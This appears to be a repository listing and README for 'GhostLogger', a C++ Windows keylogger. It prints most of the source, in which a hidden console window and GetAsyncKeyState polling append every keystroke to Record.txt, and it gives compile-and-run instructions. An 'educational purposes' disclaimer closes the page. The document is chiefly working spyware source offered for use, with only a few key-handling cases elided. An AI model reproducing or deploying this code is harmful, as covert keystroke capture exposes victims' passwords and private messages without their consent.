https://github.com/b3ta-blocker/ghostlogger
GhostLogger is a hidden Windows keylogger that records keystrokes in Record.txt. For educational purposes !
https://github.com/b3ta-blocker/ghostlogger
background-processing cpp cybersecurity educational-project file-io keylogger security system-programming windows-api windows-programming
Last synced: 4 months ago
JSON representation
GhostLogger is a hidden Windows keylogger that records keystrokes in Record.txt. For educational purposes !
- Host: GitHub
- URL: https://github.com/b3ta-blocker/ghostlogger
- Owner: B3TA-BLOCKER
- License: cc0-1.0
- Created: 2024-05-24T19:46:28.000Z (almost 2 years ago)
- Default Branch: main
- Last Pushed: 2024-06-30T07:01:37.000Z (over 1 year ago)
- Last Synced: 2024-12-29T06:16:06.150Z (about 1 year ago)
- Topics: background-processing, cpp, cybersecurity, educational-project, file-io, keylogger, security, system-programming, windows-api, windows-programming
- Language: C++
- Homepage:
- Size: 60.5 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README

# GhostLogger π»π₯οΈ
**Welcome to **GhostLogger**, a stealthy and efficient keylogging application for Windows! Designed for educational purposes and to demonstrate low-level Windows programming techniques, GhostLogger captures and records keystrokes in a hidden manner.**

## Features π
- **Stealth Mode**: Runs invisibly in the background.
- **Comprehensive Key Logging**: Captures a wide range of keys, including alphabetic characters, numeric keys, function keys, control keys, and special characters.
- **Log File**: Records all keystrokes in `Record.txt`.

## Project Structure π
```
GhostLogger
ββββ.vscode
β ββββc_cpp_properties.json
β ββββsettings.json
β ββββtasks.json
ββββsrc
ββββmain.cpp
ββββRecord.txt
```

## How It Works π οΈ
The main functionality is encapsulated in `main.cpp`, which includes the following key components:
- **KeyLogger**: A function that captures keystrokes using `GetAsyncKeyState` and writes them to `Record.txt`.
- **hide_exe**: A function that hides the console window to ensure the program runs `invisibly`.

### Code Overview π¨βπ»
Here's a brief look at the core code in `main.cpp`:
```cpp
#include
#include
#include
#include
// Function prototypes
void KeyLogger(void);
void hide_exe(void);
// main function
int main(void)
{
hide_exe();
KeyLogger();
}
// function to capture the keystrokes
void KeyLogger(void)
{
char character;
while (true)
{
for (character = 8; character <= 222; character++)
{
if (GetAsyncKeyState(character) == -32767)
{
std::ofstream write("Record.txt", std::ios::app);
if (character > 64 && character < 91 && !GetAsyncKeyState(0x10))
{
character += 32;
write << character;
}
else if (character > 64 && character < 91)
{
write << character;
}
switch (character)
{
case 39: // '
write << (GetAsyncKeyState(0x10) ? "\"" : "'");
break;
case 44: // ,
write << (GetAsyncKeyState(0x10) ? "<" : ",");
break;
// ... handle other cases ...
case VK_RETURN: // ENTER key
write << " " << std::endl;
break;
case 32: // Space key
write << " ";
break;
// ... handle other cases ...
}
}
}
}
}
// function to hide the exe file.
void hide_exe(void)
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
```

## Getting Started π
To run GhostLogger on your machine, follow these steps for different operating systems:
### Windows
1. **Clone the Repository**:
```sh
git clone https://github.com/B3TA-BLOCKER/GhostLogger.git
```
2. **Open and Edit the Code**:
- Use any text editor of your choice (e.g., Notepad++, Sublime Text, Atom, or even Notepad).
3. **Compile and Run**:
- Ensure you have a C++ compiler installed. You can use any of the following methods:
#### Using GCC (MinGW):
1. **Install MinGW**: Download and install MinGW from [MinGW website](http://www.mingw.org/).
2. **Compile the Code**:
```sh
g++ src/main.cpp -o main
```
3. **Run the Program**:
```sh
./main
```
#### Using Visual Studio:
1. **Install Visual Studio**: Download and install Visual Studio from [Visual Studio website](https://visualstudio.microsoft.com/).
2. **Open the Project**:
- Create a new project or open an existing one.
- Add `main.cpp` to the project.
3. **Compile and Run**:
- Use the build and run options within Visual Studio.
### macOS and Linux
**This project relies on `Windows-specific APIs` and functions, making it `incompatible` with macOS and Linux out of the box.**
**As GhostLogger uses Windows-specific functions like `GetAsyncKeyState`, `AllocConsole`, and `FindWindowA`, it won't compile or run on macOS and Linux without significant modifications. The instructions above are for general C++ projects.**

## Usage βοΈ
- Once the program is running, it will operate in the background, logging all keystrokes to `Record.txt`.
- To stop the program, you will need to end the process through Task Manager or by terminating it via your development environment.

## Legal Disclaimer βοΈ
This project is intended for educational purposes only. Unauthorized use of keylogging software is illegal and unethical. Always ensure you have explicit permission before using this software on any device.

## Connect with Me π
I'm always looking to expand my professional network and explore new opportunities. Let's connect!
- [LinkedIn](https://www.linkedin.com/in/hassaan-ali-bukhari/)
- [Email](mailto:hassaanalibukhari@gmail.com)

## License π
This project is licensed under the Creative Commons Zero v1.0 Universal License. See the [LICENSE](LICENSE) file for details.

Made by [Hassaan Ali Bukhari](https://github.com/B3TA-BLOCKER)